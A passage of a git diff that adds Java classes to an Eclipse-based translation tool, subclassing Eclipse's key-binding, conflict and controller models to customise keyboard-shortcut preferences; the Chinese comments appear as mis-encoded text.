用户界é¢è¯­è¨€ + */ + String SYSTEM_LANGUAGE = "net.heartsome.cat.ts.ui.preferencepage.systemLanguage"; + + /** + * 用户界é¢è¯­è¨€ä¸ºè‹±æ–‡ + */ + int SYSTEM_LANGUAGE_WITH_EN = 0; + + /** + * 用户界é¢è¯­è¨€ä¸ºç®€ä½“中文 + */ + int SYSTEM_LANGUAGE_WITH_ZH_CN = 1; + + /** + * 系统用户 + */ + String SYSTEM_USER = "net.heartsome.cat.ts.ui.preferencepage.systemUser"; + + /** + * XLIFF编辑器字体å称 + */ + String TMX_EDITOR_FONT_NAME = "net.heartsome.cat.ts.ui.preferencepage.systemDefaultFontName"; + /** + * XLIFFç¼–è¾‘å™¨å­—ä½“å¤§å° + */ + String TMX_EDITOR_FONT_SIZE = "net.heartsome.cat.ts.ui.preferencepage.systemDefaultFontSize"; + + + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/key/BindingModel2.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/key/BindingModel2.java new file mode 100644 index 0000000..3f23e1d --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/key/BindingModel2.java @@ -0,0 +1,466 @@ +package net.heartsome.cat.te.ui.preferencepage.key; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.Map.Entry; + +import org.eclipse.core.commands.Command; +import org.eclipse.core.commands.ParameterizedCommand; +import org.eclipse.core.commands.common.NotDefinedException; +import org.eclipse.jface.bindings.Binding; +import org.eclipse.jface.bindings.BindingManager; +import org.eclipse.jface.bindings.TriggerSequence; +import org.eclipse.jface.bindings.keys.KeyBinding; +import org.eclipse.jface.bindings.keys.KeySequence; +import org.eclipse.ui.commands.ICommandService; +import org.eclipse.ui.internal.keys.model.BindingElement; +import org.eclipse.ui.internal.keys.model.BindingModel; +import org.eclipse.ui.internal.keys.model.ConflictModel; +import org.eclipse.ui.internal.keys.model.ContextModel; +import org.eclipse.ui.internal.keys.model.KeyController; +import org.eclipse.ui.internal.util.Util; +import org.eclipse.ui.services.IServiceLocator; + +/** + * 修改了 BindingModel 中的 refersh 方法 + * @author peason + * @version + * @since JDK1.6 + */ +public class BindingModel2 extends BindingModel { + public static final String PROP_BINDING_ADD = "bindingAdd"; //$NON-NLS-1$ + public static final String PROP_BINDING_ELEMENT_MAP = "bindingElementMap"; //$NON-NLS-1$ + public static final String PROP_BINDING_FILTER = "bindingFilter"; //$NON-NLS-1$ + public static final String PROP_BINDING_REMOVE = "bindingRemove"; //$NON-NLS-1$ + public static final String PROP_BINDINGS = "bindings"; //$NON-NLS-1$ + public static final String PROP_CONFLICT_ELEMENT_MAP = "bindingConfictMap"; //$NON-NLS-1$ + + final static boolean deletes(final Binding del, final Binding binding) { + boolean deletes = true; + deletes &= Util.equals(del.getContextId(), binding.getContextId()); + deletes &= Util.equals(del.getTriggerSequence(), binding.getTriggerSequence()); + if (del.getLocale() != null) { + deletes &= Util.equals(del.getLocale(), binding.getLocale()); + } + if (del.getPlatform() != null) { + deletes &= Util.equals(del.getPlatform(), binding.getPlatform()); + } + deletes &= (binding.getType() == Binding.SYSTEM); + deletes &= Util.equals(del.getParameterizedCommand(), null); + + return deletes; + } + + private Collection allParameterizedCommands; + private BindingManager bindingManager; + + /** + * Holds all the {@link BindingElement} objects. + */ + private HashSet bindingElements; + + /** + * A map of {@link Binding} objects to {@link BindingElement} objects. + */ + private Map bindingToElement; + + /** + * A map of {@link ParameterizedCommand} objects to {@link BindingElement} objects. + */ + private Map commandToElement; + + /** + * @param kc + */ + public BindingModel2(KeyController kc) { + super(kc); + } + + /** + * Makes a copy of the selected element. + */ + public void copy() { + BindingElement element = (BindingElement) getSelectedElement(); + copy(element); + } + + /** + * Makes a copy of the + * @param element + */ + public void copy(BindingElement element) { + if (element == null || !(element.getModelObject() instanceof Binding)) { + return; + } + BindingElement be = new BindingElement(controller); + ParameterizedCommand parameterizedCommand = ((Binding) element.getModelObject()).getParameterizedCommand(); + be.init(parameterizedCommand); + be.setParent(this); + bindingElements.add(be); + commandToElement.put(parameterizedCommand, be); + controller.firePropertyChange(this, PROP_BINDING_ADD, null, be); + setSelectedElement(be); + } + + /** + * @return Returns the bindings. + */ + public HashSet getBindings() { + return bindingElements; + } + + /** + * @return Returns the bindingToElement. + */ + public Map getBindingToElement() { + return bindingToElement; + } + + /** + * @return Returns the commandToElement. + */ + public Map getCommandToElement() { + return commandToElement; + } + + /** + * The initialization only. + * @param locator + * @param manager + * @param model + */ + public void init(IServiceLocator locator, BindingManager manager, ContextModel model) { + Set cmdsForBindings = new HashSet(); + bindingToElement = new HashMap(); + commandToElement = new HashMap(); + + bindingElements = new HashSet(); + bindingManager = manager; + + Iterator i = manager.getActiveBindingsDisregardingContextFlat().iterator(); + while (i.hasNext()) { + Binding b = (Binding) i.next(); + BindingElement be = new BindingElement(controller); + be.init(b, model); + be.setParent(this); + bindingElements.add(be); + bindingToElement.put(b, be); + cmdsForBindings.add(b.getParameterizedCommand()); + } + + ICommandService commandService = (ICommandService) locator.getService(ICommandService.class); + final Collection commandIds = commandService.getDefinedCommandIds(); + allParameterizedCommands = new HashSet(); + final Iterator commandIdItr = commandIds.iterator(); + while (commandIdItr.hasNext()) { + final String currentCommandId = (String) commandIdItr.next(); + final Command currentCommand = commandService.getCommand(currentCommandId); + try { + allParameterizedCommands.addAll(ParameterizedCommand.generateCombinations(currentCommand)); + } catch (final NotDefinedException e) { + // It is safe to just ignore undefined commands. + } + } + + i = allParameterizedCommands.iterator(); + while (i.hasNext()) { + ParameterizedCommand cmd = (ParameterizedCommand) i.next(); + if (!cmdsForBindings.contains(cmd)) { + BindingElement be = new BindingElement(controller); + be.init(cmd); + be.setParent(this); + bindingElements.add(be); + commandToElement.put(cmd, be); + } + } + } + + /** + * Refreshes the binding model to be in sync with the {@link BindingManager}. + * @param contextModel + */ + public void refresh(ContextModel contextModel, List lstRemove) { + Set cmdsForBindings = new HashSet(); + + Iterator iterator = bindingElements.iterator(); + while (iterator.hasNext()) { + BindingElement bindingElement = iterator.next(); + if (lstRemove.contains(bindingElement.getId())) { + iterator.remove(); + } + } + Iterator> it = bindingToElement.entrySet().iterator(); + while (it.hasNext()) { + Entry entry = (Entry) it.next(); + if (lstRemove.contains(entry.getValue().getId())) { + it.remove(); + } + } + + Collection activeManagerBindings = bindingManager + .getActiveBindingsDisregardingContextFlat(); + + // add any bindings that we don't already have. + Iterator i = activeManagerBindings.iterator(); + Map temp = new HashMap(); + while (i.hasNext()) { + KeyBinding b = (KeyBinding) i.next(); + ParameterizedCommand parameterizedCommand = b + .getParameterizedCommand(); + cmdsForBindings.add(parameterizedCommand); + if (!bindingToElement.containsKey(b)) { + BindingElement be = new BindingElement(controller); + be.init(b, contextModel); + be.setParent(this); + bindingElements.add(be); + bindingToElement.put(b, be); + controller.firePropertyChange(this, PROP_BINDING_ADD, null, be); + // 去掉添加é‡å¤çš„情况 + temp.put(parameterizedCommand.getId(), be); + if (commandToElement.containsKey(parameterizedCommand) + && be.getUserDelta().intValue() == Binding.SYSTEM) { + Object remove = commandToElement.remove(parameterizedCommand); + bindingElements.remove(remove); + controller.firePropertyChange(this, PROP_BINDING_REMOVE, + null, remove); + } + } + } + + // 修改在æ¢å¤é»˜è®¤è®¾ç½®ï¼Œå‡ºçŽ°ä¸¤ä¸ªç›¸åŒçš„选项 + i = bindingElements.iterator(); + while (i.hasNext()) { + BindingElement be = (BindingElement) i.next(); + Object obj = be.getModelObject(); + if(temp.containsKey(be.getId())){ + if(!(obj instanceof Binding)){ + System.out.println("remove"); + i.remove(); + controller.firePropertyChange(this, PROP_BINDING_REMOVE, + null, be); + } + } + } + + // remove bindings that shouldn't be there + i = bindingElements.iterator(); + while (i.hasNext()) { + BindingElement be = (BindingElement) i.next(); + Object obj = be.getModelObject(); + + if (obj instanceof Binding) { + Binding b = (Binding) obj; + if (!activeManagerBindings.contains(b) || lstRemove.contains(be.getId())) { + be.fill(b.getParameterizedCommand()); + bindingToElement.remove(b); + i.remove(); + controller.firePropertyChange(this, PROP_BINDING_REMOVE, + null, be); + } + } else { + cmdsForBindings.add(obj); + } + } + + // If we removed the last binding for a parameterized command, + // put back the CMD + i = allParameterizedCommands.iterator(); + while (i.hasNext()) { + ParameterizedCommand cmd = (ParameterizedCommand) i.next(); + if (!cmdsForBindings.contains(cmd)) { + BindingElement be = new BindingElement(controller); + be.init(cmd); + be.setParent(this); + if (lstRemove.contains(be.getId())) { + continue; + } + bindingElements.add(be); + commandToElement.put(cmd, be); + controller.firePropertyChange(this, PROP_BINDING_ADD, null, be); + } + } + } + + /** + * Removes the selected element's binding + */ + public void remove() { + BindingElement element = (BindingElement) getSelectedElement(); + remove(element); + } + /** + * Removes the bindingElement binding. + * @param bindingElement + */ + public void remove(BindingElement bindingElement) { + if (bindingElement == null || !(bindingElement.getModelObject() instanceof Binding)) { + return; + } + KeyBinding keyBinding = (KeyBinding) bindingElement.getModelObject(); + if (keyBinding.getType() == Binding.USER) { + bindingManager.removeBinding(keyBinding); + } else { + KeySequence keySequence = keyBinding.getKeySequence(); + + // Add the delete binding + bindingManager.addBinding(new KeyBinding(keySequence, null, keyBinding.getSchemeId(), keyBinding + .getContextId(), null, null, null, Binding.USER)); + + // Unbind any conflicts affected by the delete binding + ConflictModel conflictModel = controller.getConflictModel(); + conflictModel.updateConflictsFor(bindingElement); + Collection conflictsList = conflictModel.getConflicts(); + if (conflictsList != null) { + Object[] conflicts = conflictsList.toArray(); + for (int i = 0; i < conflicts.length; i++) { + BindingElement be = (BindingElement) conflicts[i]; + if (be == bindingElement) { + continue; + } + Object modelObject = be.getModelObject(); + if (modelObject instanceof Binding) { + Binding binding = (Binding) modelObject; + if (binding.getType() != Binding.SYSTEM) { + continue; + } + ParameterizedCommand pCommand = binding.getParameterizedCommand(); + be.fill(pCommand); + commandToElement.put(pCommand, be); + } + } + } + } + ParameterizedCommand parameterizedCommand = keyBinding.getParameterizedCommand(); + bindingElement.fill(parameterizedCommand); + commandToElement.put(parameterizedCommand, bindingElement); + controller.firePropertyChange(this, PROP_CONFLICT_ELEMENT_MAP, null, bindingElement); + } + + /** + * Restores the specified BindingElement. A refresh should be performed afterwards. The refresh may be done after + * several elements have been restored. + * @param element + */ + public void restoreBinding(BindingElement element) { + if (element == null) { + return; + } + + Object modelObject = element.getModelObject(); + + ParameterizedCommand cmd = null; + if (modelObject instanceof ParameterizedCommand) { + cmd = (ParameterizedCommand) modelObject; + TriggerSequence trigger = bindingManager.getBestActiveBindingFor(cmd.getId()); + Binding binding = bindingManager.getPerfectMatch(trigger); + if (binding != null && binding.getType() == Binding.SYSTEM) { + return; + } + } else if (modelObject instanceof KeyBinding) { + cmd = ((KeyBinding) modelObject).getParameterizedCommand(); + } + + // Remove any USER bindings + Binding[] managerBindings = bindingManager.getBindings(); + ArrayList systemBindings = new ArrayList(); + ArrayList removalBindings = new ArrayList(); + for (int i = 0; i < managerBindings.length; i++) { + if (managerBindings[i].getParameterizedCommand() == null) { + removalBindings.add(managerBindings[i]); + } else if (managerBindings[i].getParameterizedCommand().equals(cmd)) { + if (managerBindings[i].getType() == Binding.USER) { + bindingManager.removeBinding(managerBindings[i]); + } else if (managerBindings[i].getType() == Binding.SYSTEM) { + systemBindings.add(managerBindings[i]); + } + } + } + + // Clear the USER bindings for parameterized commands + Iterator i = systemBindings.iterator(); + while (i.hasNext()) { + Binding sys = (Binding) i.next(); + Iterator j = removalBindings.iterator(); + while (j.hasNext()) { + Binding del = (Binding) j.next(); + if (deletes(del, sys) && del.getType() == Binding.USER) { + bindingManager.removeBinding(del); + } + } + } + + setSelectedElement(null); + + bindingElements.remove(element); + bindingToElement.remove(modelObject); + commandToElement.remove(modelObject); + controller.firePropertyChange(this, PROP_BINDING_REMOVE, null, element); + } + + /** + * Restores the currently selected binding. + * @param contextModel + */ + public void restoreBinding(ContextModel contextModel) { + BindingElement element = (BindingElement) getSelectedElement(); + + if (element == null) { + return; + } + + restoreBinding(element); + refresh(contextModel); + + Object obj = element.getModelObject(); + ParameterizedCommand cmd = null; + if (obj instanceof ParameterizedCommand) { + cmd = (ParameterizedCommand) obj; + } else if (obj instanceof KeyBinding) { + cmd = ((KeyBinding) obj).getParameterizedCommand(); + } + + boolean done = false; + Iterator i = bindingElements.iterator(); + // Reselects the command + while (i.hasNext() && !done) { + BindingElement be = (BindingElement) i.next(); + obj = be.getModelObject(); + ParameterizedCommand pcmd = null; + if (obj instanceof ParameterizedCommand) { + pcmd = (ParameterizedCommand) obj; + } else if (obj instanceof KeyBinding) { + pcmd = ((KeyBinding) obj).getParameterizedCommand(); + } + if (cmd.equals(pcmd)) { + done = true; + setSelectedElement(be); + } + } + } + + /** + * @param bindings + * The bindings to set. + */ + public void setBindings(HashSet bindings) { + HashSet old = this.bindingElements; + this.bindingElements = bindings; + controller.firePropertyChange(this, PROP_BINDINGS, old, bindings); + } + + /** + * @param bindingToElement + * The bindingToElement to set. + */ + public void setBindingToElement(Map bindingToElement) { + Map old = this.bindingToElement; + this.bindingToElement = bindingToElement; + controller.firePropertyChange(this, PROP_BINDING_ELEMENT_MAP, old, bindingToElement); + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/key/CategoryPatternFilter.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/key/CategoryPatternFilter.java new file mode 100644 index 0000000..74e5933 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/key/CategoryPatternFilter.java @@ -0,0 +1,72 @@ +package net.heartsome.cat.te.ui.preferencepage.key; + +import org.eclipse.core.commands.Category; +import org.eclipse.core.commands.ParameterizedCommand; +import org.eclipse.core.commands.common.NotDefinedException; +import org.eclipse.jface.bindings.Binding; +import org.eclipse.jface.viewers.Viewer; +import org.eclipse.ui.dialogs.PatternFilter; +import org.eclipse.ui.internal.keys.model.BindingElement; + +/** + * åŒ org.eclipse.ui.internal.keys.CategoryPatternFilter + * @author peason + * @version + * @since JDK1.6 + */ +@SuppressWarnings("restriction") +public class CategoryPatternFilter extends PatternFilter { + private boolean filterCategories; + final Category uncategorized; + + public CategoryPatternFilter(boolean filterCategories, Category c) { + uncategorized = c; + filterCategories(filterCategories); + } + + public void filterCategories(boolean b) { + filterCategories = b; + if (filterCategories) { + setPattern("org.eclipse.ui.keys.optimization.false"); //$NON-NLS-1$ + } else { + setPattern("org.eclipse.ui.keys.optimization.true"); //$NON-NLS-1$ + } + } + + public boolean isFilteringCategories() { + return filterCategories; + } + + /** + * (non-Javadoc) + * + * @see org.eclipse.ui.dialogs.PatternFilter#isLeafMatch(org.eclipse.jface.viewers.Viewer, + * java.lang.Object) + */ + protected boolean isLeafMatch(Viewer viewer, Object element) { + if (filterCategories) { + final ParameterizedCommand cmd = getCommand(element); + try { + if (cmd != null + && cmd.getCommand().getCategory() == uncategorized) { + return false; + } + } catch (NotDefinedException e) { + return false; + } + } + return super.isLeafMatch(viewer, element); + } + + private ParameterizedCommand getCommand(Object element) { + if (element instanceof BindingElement) { + Object modelObject = ((BindingElement) element).getModelObject(); + if (modelObject instanceof Binding) { + return ((Binding) modelObject).getParameterizedCommand(); + } else if (modelObject instanceof ParameterizedCommand) { + return (ParameterizedCommand) modelObject; + } + } + return null; + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/key/ConflictModel2.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/key/ConflictModel2.java new file mode 100644 index 0000000..f466da2 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/key/ConflictModel2.java @@ -0,0 +1,254 @@ +package net.heartsome.cat.te.ui.preferencepage.key; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashMap; +import java.util.Iterator; +import java.util.Map; + +import org.eclipse.jface.bindings.Binding; +import org.eclipse.jface.bindings.BindingManager; +import org.eclipse.jface.bindings.TriggerSequence; +import org.eclipse.jface.util.IPropertyChangeListener; +import org.eclipse.jface.util.PropertyChangeEvent; +import org.eclipse.ui.internal.keys.model.BindingElement; +import org.eclipse.ui.internal.keys.model.BindingModel; +import org.eclipse.ui.internal.keys.model.CommonModel; +import org.eclipse.ui.internal.keys.model.ConflictModel; +import org.eclipse.ui.internal.keys.model.KeyController; + +/** + * 此类与 org.eclipse.ui.internal.keys.model.ConflictModel 的区别为修改了 updateConflictsFor æ–¹æ³•ï¼Œç”¨äºŽå¤„ç† Bug#2740 + * @author peason + * @version + * @since JDK1.6 + */ +public class ConflictModel2 extends ConflictModel { + + /** + * The set of conflicts for the currently selected element. + */ + private Collection conflicts; + + private BindingManager bindingManager; + + private BindingModel bindingModel; + + /** + * A mapping of binding element to known conflicts. + */ + private Map conflictsMap; + + /** + * @param kc + */ + public ConflictModel2(KeyController kc) { + super(kc); + } + + /** + * @return Returns the conflicts. + */ + public Collection getConflicts() { + return conflicts; + } + + /** + * Sets the conflicts to the given collection. Any conflicts in the + * collection that do not exist in the bindingModel are + * removed. + * + * @param conflicts + * The conflicts to set. + */ + public void setConflicts(Collection conflicts) { + Object old = this.conflicts; + this.conflicts = conflicts; + + if (this.conflicts != null) { + Iterator i = this.conflicts.iterator(); + Map bindingToElement = bindingModel.getBindingToElement(); + while (i.hasNext()) { + Object next = i.next(); + if (!bindingToElement.containsValue(next) + && !next.equals(getSelectedElement())) { + i.remove(); + } + } + } + + controller.firePropertyChange(this, PROP_CONFLICTS, old, conflicts); + } + + public void updateConflictsFor(BindingElement source) { + updateConflictsFor(source, false); + } + + public void updateConflictsFor(BindingElement oldValue, + BindingElement newValue) { + updateConflictsFor(oldValue, newValue, false); + } + + public void updateConflictsFor(BindingElement source, boolean removal) { + updateConflictsFor(null, source, removal); + } + + private void updateConflictsFor(BindingElement oldValue, + BindingElement newValue, boolean removal) { + updateConflictsFor(newValue, oldValue == null ? null : oldValue + .getTrigger(), newValue == null ? null : newValue.getTrigger(), + removal); + } + + public void updateConflictsFor(BindingElement newValue, + TriggerSequence oldTrigger, TriggerSequence newTrigger, + boolean removal) { + Collection matches = (Collection) conflictsMap.get(newValue); + if (matches != null) { + if (newTrigger == null || removal) { + // we need to clear this match + matches.remove(newValue); + conflictsMap.remove(newValue); + if (matches == conflicts) { + controller.firePropertyChange(this, PROP_CONFLICTS_REMOVE, + null, newValue); + } + if (matches.size() == 1) { + BindingElement tbe = (BindingElement) matches.iterator() + .next(); + conflictsMap.remove(tbe); + tbe.setConflict(Boolean.FALSE); + if (matches == conflicts) { + setConflicts(null); + } + } + return; + } else if (oldTrigger != null && !newTrigger.equals(oldTrigger)) { + // we need to clear this match + matches.remove(newValue); + conflictsMap.remove(newValue); + + if (matches == conflicts) { + controller.firePropertyChange(this, PROP_CONFLICTS_REMOVE, + null, newValue); + } + if (matches.size() == 1) { + BindingElement tbe = (BindingElement) matches.iterator() + .next(); + conflictsMap.remove(tbe); + tbe.setConflict(Boolean.FALSE); + if (matches == conflicts) { + setConflicts(null); + } + } + } else { + return; + } + } + + if (newValue.getTrigger() == null + || !(newValue.getModelObject() instanceof Binding)) { + return; + } + Binding binding = (Binding) newValue.getModelObject(); + TriggerSequence trigger = binding.getTriggerSequence(); + + matches = (Collection) bindingManager + .getActiveBindingsDisregardingContext().get(trigger); + ArrayList localConflicts = new ArrayList(); + if (matches != null) { + localConflicts.add(newValue); + Iterator i = matches.iterator(); + while (i.hasNext()) { + Binding b = (Binding) i.next(); +// if (binding != b +// && b.getContextId().equals(binding.getContextId()) +// && b.getSchemeId().equals(binding.getSchemeId())) { +// Object element = bindingModel.getBindingToElement().get(b); +// if (element != null) { +// localConflicts.add(element); +// } +// } +// Bug #2740 å¿«æ·é”®--å¿«æ·é”®è®¾ç½®é—®é¢˜ï¼šä¿®æ”¹éªŒè¯å†²çªå¿«æ·é”®çš„方法,使用以下的方å¼ï¼ŒåŽŸæ¥ä½¿ç”¨çš„是上é¢æ³¨é‡Šçš„æ–¹å¼ + if (binding != b + && !b.getParameterizedCommand().getCommand().toString().equals(binding.getParameterizedCommand().getCommand().toString())) { + Object element = bindingModel.getBindingToElement().get(b); + if (element != null) { + localConflicts.add(element); + } + } + } + } + + if (localConflicts.size() > 1) { + // first find if it is already a conflict collection + Collection knownConflicts = null; + Iterator i = localConflicts.iterator(); + while (i.hasNext() && knownConflicts == null) { + BindingElement tbe = (BindingElement) i.next(); + knownConflicts = (Collection) conflictsMap.get(tbe); + } + if (knownConflicts != null) { + knownConflicts.add(newValue); + conflictsMap.put(newValue, knownConflicts); + newValue.setConflict(Boolean.TRUE); + if (knownConflicts == conflicts) { + controller.firePropertyChange(this, PROP_CONFLICTS_ADD, + null, newValue); + } else if (newValue == getSelectedElement()) { + setConflicts(knownConflicts); + } + return; + } + boolean isSelected = false; + i = localConflicts.iterator(); + while (i.hasNext()) { + BindingElement tbe = (BindingElement) i.next(); + if (tbe != null) { + conflictsMap.put(tbe, localConflicts); + tbe.setConflict(Boolean.TRUE); + } + if (tbe == getSelectedElement()) { + isSelected = true; + } + } + if (isSelected) { + setConflicts(localConflicts); + } + } + } + + public void init(BindingManager manager, BindingModel model) { + bindingManager = manager; + bindingModel = model; + conflictsMap = new HashMap(); + Iterator i = bindingModel.getBindings().iterator(); + while (i.hasNext()) { + BindingElement be = (BindingElement) i.next(); + if (be.getModelObject() instanceof Binding) { + updateConflictsFor(be); + } + } + controller.addPropertyChangeListener(new IPropertyChangeListener() { + public void propertyChange(PropertyChangeEvent event) { + if (event.getSource() == ConflictModel2.this + && CommonModel.PROP_SELECTED_ELEMENT.equals(event + .getProperty())) { + if (event.getNewValue() != null) { + updateConflictsFor( + (BindingElement) event.getOldValue(), + (BindingElement) event.getNewValue()); + setConflicts((Collection) conflictsMap.get(event + .getNewValue())); + } else { + setConflicts(null); + } + } else if (BindingModel.PROP_BINDING_REMOVE.equals(event + .getProperty())) { + updateConflictsFor((BindingElement) event.getOldValue(), + (BindingElement) event.getNewValue(), true); + } + } + }); + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/key/KeyController2.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/key/KeyController2.java new file mode 100644 index 0000000..c58be3a --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/preferencepage/key/KeyController2.java @@ -0,0 +1,575 @@ +package net.heartsome.cat.te.ui.preferencepage.key; + +import java.io.BufferedWriter; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.OutputStreamWriter; +import java.io.Writer; +import java.util.ArrayList; +import java.util.HashSet; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.ResourceBundle; + +import org.eclipse.core.commands.CommandManager; +import org.eclipse.core.commands.ParameterizedCommand; +import org.eclipse.core.commands.common.NotDefinedException; +import org.eclipse.core.commands.contexts.ContextManager; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.ListenerList; +import org.eclipse.core.runtime.SafeRunner; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.bindings.Binding; +import org.eclipse.jface.bindings.BindingManager; +import org.eclipse.jface.bindings.Scheme; +import org.eclipse.jface.bindings.TriggerSequence; +import org.eclipse.jface.bindings.keys.KeyBinding; +import org.eclipse.jface.bindings.keys.KeySequence; +import org.eclipse.jface.util.IPropertyChangeListener; +import org.eclipse.jface.util.PropertyChangeEvent; +import org.eclipse.jface.util.SafeRunnable; +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.contexts.IContextService; +import org.eclipse.ui.internal.WorkbenchPlugin; +import org.eclipse.ui.internal.keys.BindingService; +import org.eclipse.ui.internal.keys.KeysPreferencePage; +import org.eclipse.ui.internal.keys.NewKeysPreferenceMessages; +import org.eclipse.ui.internal.keys.model.BindingElement; +import org.eclipse.ui.internal.keys.model.CommonModel; +import org.eclipse.ui.internal.keys.model.ContextElement; +import org.eclipse.ui.internal.keys.model.ContextModel; +import org.eclipse.ui.internal.keys.model.KeyController; +import org.eclipse.ui.internal.keys.model.ModelElement; +import org.eclipse.ui.internal.keys.model.SchemeElement; +import org.eclipse.ui.internal.keys.model.SchemeModel; +import org.eclipse.ui.internal.misc.StatusUtil; +import org.eclipse.ui.internal.util.Util; +import org.eclipse.ui.keys.IBindingService; +import org.eclipse.ui.services.IServiceLocator; +import org.eclipse.ui.statushandlers.StatusManager; + +/** + * 修改了 KeyController 中的 init å’Œ setDefaultBindings 方法 + * @author peason + * @version + * @since JDK1.6 + */ +public class KeyController2 extends KeyController { + + private static final String DELIMITER = ","; //$NON-NLS-1$ + private static final String ESCAPED_QUOTE = "\""; //$NON-NLS-1$ + private static final String REPLACEMENT = "\"\""; //$NON-NLS-1$ + /** + * The resource bundle from which translations can be retrieved. + */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(KeysPreferencePage.class.getName()); + private ListenerList eventManager = null; + private BindingManager fBindingManager; + private ContextModel contextModel; + private SchemeModel fSchemeModel; + private BindingModel2 bindingModel; + private boolean notifying = true; + private ConflictModel2 conflictModel; + private IServiceLocator serviceLocator; + private ListenerList getEventManager() { + if (eventManager == null) { + eventManager = new ListenerList(ListenerList.IDENTITY); + } + return eventManager; + } + + public void setNotifying(boolean b) { + notifying = b; + } + + public boolean isNotifying() { + return notifying; + } + + public void firePropertyChange(Object source, String propId, Object oldVal, Object newVal) { + if (!isNotifying()) { + return; + } + if (Util.equals(oldVal, newVal)) { + return; + } + + Object[] listeners = getEventManager().getListeners(); + PropertyChangeEvent event = new PropertyChangeEvent(source, propId, oldVal, newVal); + for (int i = 0; i < listeners.length; i++) { + ((IPropertyChangeListener) listeners[i]).propertyChange(event); + } + } + + public void addPropertyChangeListener(IPropertyChangeListener listener) { + getEventManager().add(listener); + } + + public void removePropertyChangeListener(IPropertyChangeListener listener) { + getEventManager().remove(listener); + } + + public void init(IServiceLocator locator, List lstRemove) { + getEventManager().clear(); + this.serviceLocator = locator; + // filterDupliteBind(); + fBindingManager = loadModelBackend(serviceLocator); + contextModel = new ContextModel(this); + contextModel.init(serviceLocator); + fSchemeModel = new SchemeModel(this); + fSchemeModel.init(fBindingManager); + bindingModel = new BindingModel2(this); + bindingModel.init(serviceLocator, fBindingManager, contextModel); + + HashSet set = bindingModel.getBindings(); + Iterator iterator = set.iterator(); + while (iterator.hasNext()) { + BindingElement bindingElement = iterator.next(); + if (lstRemove.contains(bindingElement.getId())) { + iterator.remove(); + } + } + bindingModel.setBindings(set); + Map mapBBe = bindingModel.getBindingToElement(); + Iterator> it = mapBBe.entrySet().iterator(); + while (it.hasNext()) { + Entry entry = (Entry) it.next(); + if (lstRemove.contains(entry.getValue().getId())) { + it.remove(); + } + } + bindingModel.setBindingToElement(mapBBe); + + conflictModel = new ConflictModel2(this); + conflictModel.init(fBindingManager, bindingModel); + addSetContextListener(); + addSetBindingListener(); + addSetConflictListener(); + addSetKeySequenceListener(); + addSetSchemeListener(); + addSetModelObjectListener(); + } + + @SuppressWarnings("restriction") + public void filterDupliteBind(){ + IWorkbench workbench = PlatformUI.getWorkbench(); + IBindingService bindingService = (IBindingService) workbench.getService(IBindingService.class); + BindingService service =(BindingService)bindingService; + BindingManager bindingManager = service.getBindingManager(); + //service.getBindingManager(). + Binding[] bindings = bindingManager.getBindings(); + List bindTemp = new ArrayList(); + List ids = new ArrayList(); + for(Binding bind : bindings){ + if(null ==bind){ + continue; + } + ParameterizedCommand command = bind.getParameterizedCommand(); + if(null == command){ + continue; + } + String id = command.getId(); + if(!ids.contains(id)){ + ids.add(id); + bindTemp.add(bind); + } + } + + bindingManager.setBindings(bindTemp.toArray(new Binding[ids.size()])); + } + + private static BindingManager loadModelBackend(IServiceLocator locator) { + IBindingService bindingService = (IBindingService) locator.getService(IBindingService.class); + BindingManager bindingManager = new BindingManager(new ContextManager(), new CommandManager()); + final Scheme[] definedSchemes = bindingService.getDefinedSchemes(); + try { + Scheme modelActiveScheme = null; + for (int i = 0; i < definedSchemes.length; i++) { + final Scheme scheme = definedSchemes[i]; + final Scheme copy = bindingManager.getScheme(scheme.getId()); + copy.define(scheme.getName(), scheme.getDescription(), scheme.getParentId()); + if (definedSchemes[i] == bindingService.getActiveScheme()) { + modelActiveScheme = copy; + } + } + bindingManager.setActiveScheme(modelActiveScheme); + } catch (final NotDefinedException e) { + StatusManager.getManager() + .handle(new Status(IStatus.WARNING, WorkbenchPlugin.PI_WORKBENCH, + "Keys page found an undefined scheme", e)); //$NON-NLS-1$ + } + bindingManager.setLocale(bindingService.getLocale()); + bindingManager.setPlatform(bindingService.getPlatform()); + bindingManager.setBindings(bindingService.getBindings()); + return bindingManager; + } + + public ContextModel getContextModel() { + return contextModel; + } + + public SchemeModel getSchemeModel() { + return fSchemeModel; + } + + public BindingModel2 getBindingModel() { + return bindingModel; + } + + public ConflictModel2 getConflictModel() { + return conflictModel; + } + + private void addSetContextListener() { + addPropertyChangeListener(new IPropertyChangeListener() { + public void propertyChange(PropertyChangeEvent event) { + if (event.getSource() == contextModel && CommonModel.PROP_SELECTED_ELEMENT.equals(event.getProperty())) { + updateBindingContext((ContextElement) event.getNewValue()); + } + } + }); + } + + private void addSetBindingListener() { + addPropertyChangeListener(new IPropertyChangeListener() { + public void 